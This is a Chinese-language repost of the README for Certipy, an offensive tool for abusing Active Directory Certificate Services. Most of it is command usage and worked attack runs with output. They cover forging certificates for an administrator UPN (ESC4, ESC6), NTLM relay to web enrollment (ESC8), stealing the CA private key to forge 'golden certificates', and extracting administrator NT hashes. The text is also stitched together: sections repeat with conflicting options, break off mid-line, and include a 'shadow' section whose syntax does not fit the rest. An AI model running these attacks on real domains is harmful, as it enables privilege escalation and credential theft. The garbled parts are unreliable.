活动目录(Active Directory)证书服务枚举和滥用工具
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/ly4k/Certipy
Certipy项目简介
Certipy是一个攻击工具,用于枚举和滥用Active Directory Certificate Services(AD CS)。该工具可以用于域升级技术,建议先阅读Certified Pre-Owned。
相关技术点
- Active Directory Certificate Services(AD CS)
- 域升级技术
项目用途
- 用于枚举和滥用Active Directory Certificate Services(AD CS)
- 可以用于域升级技术的渗透测试
- 枚举AD CS证书模板、证书授权机构和其他配置
- 输出可以用于BloodHound的数据,可以用于导入到BloodHound进行分析。
Certipy
Certipy是一个用于枚举和滥用Active Directory证书服务(AD CS)的攻击性工具。如果您不熟悉AD CS和各种域升级技术,强烈建议阅读Certified Pre-Owned by Will Schroeder 和 Lee Christensen。
目录
安装
pip3 install certipy-ad
用法
很多用法和功能在 Certipy 2.0 和 4.0 的发布博客中有演示。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...
Active Directory Certificate Services enumeration and abuse
positional arguments:
{account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}
Action
account Manage user and machine accounts
auth Authenticate using certificates
ca Manage CA and certificates
cert Manage certificates and private keys
find Enumerate AD CS
forge Create Golden Certificates
ptt Inject TGT for SSPI authentication
relay NTLM Relay to AD CS HTTP Endpoints
req Request certificates
shadow Abuse Shadow Credentials for account takeover
template Manage certificate templates
optional arguments:
-v, --version Show Certipy's version number and exit
-h, --help Show this help message and exit
查找
find 命令有助于枚举AD CS证书模板、证书颁发机构和其他配置。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp]
[-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
optional arguments:
-h, --help show this help message and exit
-debug Turn debug output on
output options:
-bloodhound Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support
-old-bloodhound Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support
-text Output result as text
-stdout Output result as text to stdout
-json Output result as JSON
-output prefix Output file prefix
filter options:
-enabled Show only enabled templates
-dc-only Only search on Domain Controllers
-vulnerable Show only templates that can be exploited
-hide-admins Hide templates with admin-only permissions
connection options:
-scheme ldap scheme Connection scheme: ldap or ldaps (default: ldap)
-dc-ip ip address IP address of the Domain Controller
-target-ip ip address
IP address of the target machine
-target dns/ip address
Target DNS or IP address
-ns nameserver DNS server to query for the target domain
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Maximum time in seconds to wait for a response (default: 10)
authentication options:
-u username@domain User to authenticate with
-p password Password to authenticate with
-hashes [LMHASH:]NTHASH
NTLM hashes, format is LMHASH:NTHASH
transport options:
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-sspi Use SSPI authentication. Grabs credentials from the current user session
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-no-pass Do not prompt for a password (useful for -k)
请求
req 命令用于请求新的证书。它可以使用模板名称、OID或证书颁发机构名称来请求证书。请求可以使用存储在本地计算机或使用外部文件中的证书和私钥。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy req [-h] [-debug] [-template template name or OID] [-ca certificate authority] [-name common name] [-dns dns name] [-upn user principal name] [-san subject alternative name] [-eku extended key usage] [-key key type] [-keysize key size] [-store store name]
[-keyfile key file] [-certfile certificate file] [-out output file] [-certreq output file] [-pfx output file] [-password password] [-reuse-key] [-reuse-cert] [-autoenroll] [-enroll] [-dc-only] [-target-ip ip address] [-target dns/ip address]
[-ns nameserver] [-dns-tcp] [-timeout seconds] [-silent] [-force] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
optional arguments:
-h, --help show this help message and exit
-debug Turn debug output on
request options:
-template template name or OID
Template name or OID to use
-ca certificate authority
CA to use (default: Use first CA that supports the requested template)
-name common name Subject common name (default: Use user name if available otherwise use machine name)
-dns dns name Subject DNS name
-upn user principal name
User Principal Name
-san subject alternative name
Subject Alternative Name
-eku extended key usage
Extended Key Usage
-key key type Key type to use (default: RSA)
-keysize key size Key size to use (default: 2048)
-store store name Certificate store to use (default: MY)
-keyfile key file Private key file to use
-certfile certificate file
Certificate file to use
-out output file Output file for the certificate
-certreq output file Output file for the certificate request
-pfx output file Output file for the PFX
-password password Password for the output file(s)
-reuse-key Reuse existing key for the request
-reuse-cert Reuse existing certificate for the request
-autoenroll Enroll for the certificate using autoenrollment
-enroll Enroll for the certificate using SCEP
-dc-only Only use Domain Controllers for enrollment
-target-ip ip address
IP address of the target machine
-target dns/ip address
Target DNS or IP address
-ns nameserver DNS server to query for the target domain
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Maximum time in seconds to wait for a response (default:### 请求
`req` 命令可用于请求、检索和更新证书。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
用法: certipy req [-h] [-debug] -ca 证书颁发机构名称 [-template 模板名称] [-upn 替代UPN] [-dns 替代DNS] [-subject 主题] [-retrieve 请求ID] [-on-behalf-of 域\账户] [-pfx pfx/p12 文件名] [-key-size RSA密钥长度] [-archive-key] [-renew] [-out 输出文件名] [-web] [-dynamic-endpoint] [-scheme http协议] [-port 端口] [-dc-ip IP地址] [-target-ip IP地址] [-target DNS/IP地址] [-ns 域名服务器] [-dns-tcp] [-timeout 秒数] [-u 用户名@域名] [-p 密码] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes 十六进制密钥] [-no-pass]
可选参数: -h, --help 显示此帮助信息并退出 -debug 打开调试输出 -ca 证书颁发机构名称
证书请求选项: -template 模板名称 -upn 替代UPN -dns 替代DNS -subject 主题 包含证书的主题,例如CN=管理员,CN=用户,DC=CORP,DC=LOCAL -retrieve 请求ID 检索由请求ID指定的已发行证书,而不是请求新证书 -on-behalf-of 域\账户 使用证书请求代理证书代表另一个用户请求 -pfx pfx/p12 文件名 用于 -on-behalf-of 或 -renew 的 PFX 路径 -key-size RSA密钥长度 RSA密钥长度。默认: 2048 -archive-key 发送密钥以进行密钥归档 -renew 创建续订请求
输出选项: -out 输出文件名
连接选项: -web 使用 Web Enrollment 而不是 RPC -dc-ip IP地址 域控制器的IP地址。如果省略,将使用目标参数中指定的域部分(FQDN) -target-ip IP地址 目标计算机的IP地址。如果省略,将使用作为目标指定的任何内容。当目标是 NetBIOS 名称且无法解析时,这很有用 -target DNS/IP地址 目标计算机的DNS名称或IP地址。对于Kerberos或SSPI身份验证,必填 -ns 域名服务器 用于DNS解析的域名服务器 -dns-tcp 使用TCP而不是UDP进行DNS查询 -timeout 秒数 连接超时
RPC连接选项: -dynamic-endpoint 偏好使用动态TCP端点而不是命名管道
HTTP连接选项: -scheme http协议 -port 端口 Web Enrollment端口。如果省略,将默认选择端口80或443,具体取决于方案。
身份验证选项: -u 用户名@域名, -username username@domain 用户名。格式:username@domain -p 密码, -password password 密码 -hashes [LMHASH:]NTHASH NTLM哈希,格式为[LMHASH:]NTHASH -k 使用Kerberos身份验证。根据目标参数,从ccache文件(KRB5CCNAME)获取凭据。如果找不到有效凭据,它将使用在命令行中指定的凭据 -sspi 使用Windows集成身份验证(SSPI) -aes 十六进制密钥 用于Kerberos身份验证的AES密钥(128或256位) -no-pass 不要询问密码(对于-k和-sspi很有用)
要请求证书,您必须指定证书颁发机构(CA)的名称和主机/IP以进行注册。默认情况下,这将使用提供的凭据在默认的“用户”模板中进行注册。
在此示例中,我们根据模板“用户”从CA“corp-CA”请求证书。
```bash
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 通过 RPC 请求证书
[*] 成功请求证书
[*] 请求 ID 为 773
[*] 得到了UPN为 'JOHN@corp.local' 的证书
[*] 证书对象SID为'S-1-5-21-980154951-4172460254-2779440654-1103'
[*] 将证书和私钥保存为 'john.pfx'
如果请求成功,证书和私钥将保存为PFX文件。PFX文件可以用于根据证书的用途进行各种用途。
如果您在Windows机器的域上下文中,但不知道当前用户的凭据,可以使用 -sspi 参数,这将使 Certipy 使用 Windows API 通过您的当前上下文检索正确的Kerberos票证。### 认证
auth 命令将使用 PKINIT Kerberos 扩展或 Schannel 协议对提供的证书进行身份验证。Kerberos 可用于检索 TGT 和目标用户的 NT 散列,而 Schannel 将打开到 LDAPS 的连接,并使用受限制的 LDAP 命令进入交互式 shell。有关何时使用哪个选项的更多信息,请参见博客文章。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
usage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn]
optional arguments:
-h, --help 显示此帮助消息并退出
-pfx pfx/p12 file name
证书路径
-no-save 不保存 TGT 到文件
-no-hash 不请求 NT 散列
-ptt 提交 TGT 以进行当前登录会话 (仅适用于 Windows)
-print 以 Kirbi 格式打印 TGT
-kirbi 以 Kirbi 格式保存 TGT
-debug 打开调试输出
连接选项:
-dc-ip ip address 域控制器的 IP 地址。如果省略,它将使用目标参数中指定的域部分 (FQDN)
-ns nameserver DNS 解析器
-dns-tcp 对 DNS 查询使用 TCP 而不是 UDP
-timeout seconds 连接超时
身份验证选项:
-username username
-domain domain
-ldap-shell 使用证书通过 Schannel 对 LDAP 进行身份验证
LDAP 选项:
-ldap-port port LDAP 端口。默认值:389
-ldap-user-dn dn LDAPS 身份验证的目标帐户的专有名称
默认情况下,Certipy 将尝试从证书 (-pfx) 中提取用户名和域以进行 Kerberos 身份验证。
$ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 正在使用 principal:administrator@corp.local
[*] 尝试获取 TGT...
[*] 已获取 TGT
[*] 已将凭据缓存保存到 'administrator.ccache'
[*] 尝试检索“administrator”的 NT 散列
[*] 已获取“administrator@corp.local”的 NT 散列:fc525c9683e8fe067095ba2ddc971889
NT 散列和凭据缓存 (TGT) 可用于其他工具的进一步身份验证。如果您在 Windows 机器的域上下文中,可以使用 -ptt 将 TGT 注入当前会话中。
如果上面的示例在您的情况下无法正常工作,则可以手动指定所需的参数,例如 KDC IP、用户名和域。如果证书不包含有关用户 (例如 Shadow Credentials) 的信息,或者域名无法通过 DNS 解析,则有时可能会发生这种情况。
$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 正在使用 principal:administrator@corp.local
[*] 尝试获取 TGT...
[*] 已获取 TGT
[*] 已将凭据缓存保存到 'administrator.ccache'
[*] 尝试检索“administrator”的 NT 散列
[*] 已获取“administrator@corp.local”的 NT 散列:fc525c9683e8fe067095ba2ddc971889
影子凭据
shadow 命令将使用提供的凭据 (用户名 + NTLM 散列) 生成 Shadow 凭据。Shadow 凭据可用于 Mimikatz 的 sekurlsa::pth 功能。请注意,此功能仅适用于提供了 NTLM 散列的用户帐户。
usage: certipy shadow [-h] -user username -ntlm ntlm hash [-lm lm hash] [-domain domain] [-debug]
optional arguments:
-h, --help 显示此帮助消息并退出
-user username 用户名
-ntlm ntlm hash NTLM 散列
-lm lm hash LM 散列(可选)
-domain domain 域名 (默认: localhost)
-debug 打开调试输出
$ certipy shadow -user administrator -ntlm 8846f7eaee8fb117ad06bdd830b7586c
[*] 构建凭据对象
[*] 凭据对象构建成功
shadow_token: admin@localhost:c88b5b7b3c7c350e0c3b1fb9a6a0f6e7
```### 黄金证书
黄金证书是使用受损的CA证书和私钥手动伪造的证书,就像使用受损的`krbtgt`账户的NT哈希值伪造黄金票证一样。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
用法:certipy forge [-h] -ca-pfx pfx/p12文件名 [-upn替代UPN] [-dns替代DNS] [-template pfx/p12文件名] [-subject subject] [-issuer issuer] [-crl ldap路径] [-serial 序列号] [-key-size RSA密钥长度] [-debug] [-out输出文件名]
可选参数: -h, --help 显示帮助并退出 -ca-pfx pfx/p12文件名 CA证书的路径 -upn替代UPN -dns替代DNS -template pfx/p12文件名 模板证书的路径 -subject subject 包括在证书中的主题 -issuer issuer 包括在证书中的发行者。如果未指定,则将使用CA证书的发行者 -crl ldap路径 CRL的ldap路径 -serial 序列号 -key-size RSA密钥长度 RSA密钥长度。默认值:2048 -debug 打开调试输出
输出选项: -out输出文件名
为了伪造证书,我们需要CA的证书和私钥。
Certipy可以使用`-backup`参数自动检索证书和私钥。为此,用户必须在CA服务器上拥有管理员特权。
```bash
$ certipy ca -backup -ca 'corp-DC-CA' -username administrator@corp.local -hashes fc525c9683e8fe067095ba2ddc971889
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 创建新服务
[*] 创建备份
[*] 检索备份
[*] 获取证书和私钥
[*] 将证书和私钥保存到'CORP-DC-CA.pfx'
[*] 清理
有了CA的证书和私钥,我们可以伪造域控制器DC$的证书:
$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 将伪造的证书和私钥保存到'administrator_forged.pfx'
$ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 使用主体:administrator@corp.local
[*] 尝试获取TGT......
[*] 获取TGT
[*] 将凭据缓存保存到'administrator.ccache'
[*] 尝试检索'administrator'的NT哈希值
[*] 获取'administrator@corp.local'的NT哈希值:fc525c9683e8fe067095ba2ddc971889
然后,伪造的证书可以与Certipy的auth命令一起用于身份验证。如果KDC返回KDC_ERR_CLIENT_NOT_TRUSTED,则表示伪造不正确。这通常是由于证书中缺少证书吊销列表(CRL)而导致的。您可以使用-crl手动指定CRL,也可以使用先前发行的证书作为模板,使用-template参数。请注意,模板将在新证书中包括所有未定义的扩展和属性,例如主题和序列号。 Certipy不会在伪造的证书中包括任何扩展密钥用法,这意味着证书可用于任何目的。
证书
cert命令对于处理来自其他工具(例如Certify或KrbRelay)的PFX很有用,这些工具创建了加密的PFX。
Certipy v4.0.0 - by Oliver Lyak (ly4k)
用法:certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug]
可选参数:
-h, --help 显示帮助并退出
-pfx infile 从文件加载PFX
-password password 设置导入密码
-key infile 从文件加载私钥
-cert infile 从文件加载证书
-export 输出PFX文件
-out outfile 输出文件名
-nocert 不输出证书
-nokey 不输出私钥
-debug 打开调试输出
Certipy的命令不支持带有密码的PFX。为了在Certipy中使用加密的PFX,我们可以重新创建没有密码的PFX:
$ certipy cert -pfx encrypted.pfx -password "a387a1a1-5276-4488-9877-4e90da7567a4" -export -out decrypted.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] 将PFX写入'decrypted.pfx'
然后,decrypted.pfx文件可以与Certipy的命令一起使用。
还可以使用cert命令从PFX文件中提取私钥和证书,方法是省略-export参数:
$ certipy cert -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
Certipy是一个用于执行证书操作的命令行工具,例如请求,导出和验证证书。它可以用于执行域升级攻击,包括ESC1,ESC2,ESC3,ESC4,ESC6,ESC7和ESC8等技术。有关详细信息,请参见[Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2)。#### ESC4
ESC4指的是用户拥有证书模板的写权限。攻击者可以利用这一点覆盖证书模板的配置,使其变得容易受到ESC1攻击。
默认情况下,Certipy会覆盖配置以使其容易受到ESC1攻击。
我们可以使用`-save-old`参数来保存旧的配置,这对于在恢复配置后非常有用。
```bash
$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'ESC4-Test' to 'ESC4-Test.json'
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
现在证书模板容易受到ESC1技术攻击。
因此,我们现在可以基于ESC4模板请求证书,并使用-upn或-dns参数指定任意SAN。
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 783
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
如果要恢复旧配置,可以使用-configuration参数指定保存配置的路径。
$ certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
ESC6
ESC6指的是CA指定了EDITF_ATTRIBUTESUBJECTALTNAME2标志。该标志允许申请人在所有证书上指定任意SAN,而不考虑证书模板的配置。在我的报告的漏洞CVE-2022–26923修补程序后,这种技术不再单独起作用,但必须与ESC10结合使用。
攻击与ESC1相同,只是您可以选择允许客户端身份验证的任何证书模板。在2022年5月的安全更新后,新证书将具有嵌入请求者的objectSid属性的安全扩展。对于ESC1,此属性将从指定的SAN反映,但对于ESC6,此属性反映了请求者的objectSid,而不是SAN。请注意,对象SID根据请求者而变化。
$ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 2
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103'
[*] Saved certificate and private key to 'administrator.pfx'
$ certipy req -username administrator@corp.local -password Passw0rd! -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-2496215469-2694655311-2823030825-1103'
[*] Saved certificate and private key to 'administrator.pfx'
在此示例中,我们请求了两个证书,但它们具有相同的对象SID。现在我们可以使用其中任何一个证书对ESC1进行攻击。#### ESC8
ESC8 是指当一个 Enrollment Service 安装并通过 HTTP 启用 Web Enrollment。
要启动 Relay 服务器,我们可以运行 relay 命令,并在 -ca 中指定 CA 的 IP。
默认情况下,Certipy 将根据中继帐户名称是否以 $ 结尾请求基于 Machine 或 User 模板的证书。可以使用 -template 参数指定另一个模板。
然后,我们可以使用类似于 PetitPotam 的技术来强制进行身份验证。对于域控制器,我们必须指定 -template DomainController。
$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
ESC9 和 ESC10
ESC9 和 ESC10 与任何特定的 Certipy 命令或参数无关,但可以利用 Certipy。有关详细信息,请参见 博客文章。
ESC11
ESC11 可以通过 impacket 的 ntlmrelayx 来滥用:
$ ntlmrelayx.py -t rpc://ca.corp.local -rpc-mode ICPR -icpr-ca-name corp-DC-CA -smb2support
联系方式
请在 "Issues" 下提交任何错误、问题、疑问或功能请求,或将它们发送给我 Twitter 上的 @ly4k_。
鸣谢
- Will Schroeder 和 Lee Christensen 的 Certified Pre-Owned 和 Certify
- Dirk-jan 的 PKINITtools
- ShutdownRepo 的 PyWhisker
- zer1t0 的 certi
- Ex Android Dev 和 Tw1sm 的 Impacket 的 adcsattack.py
- SecureAuthCorp 和所有 贡献者 的 Impacket
- skelsec 的 pypykatz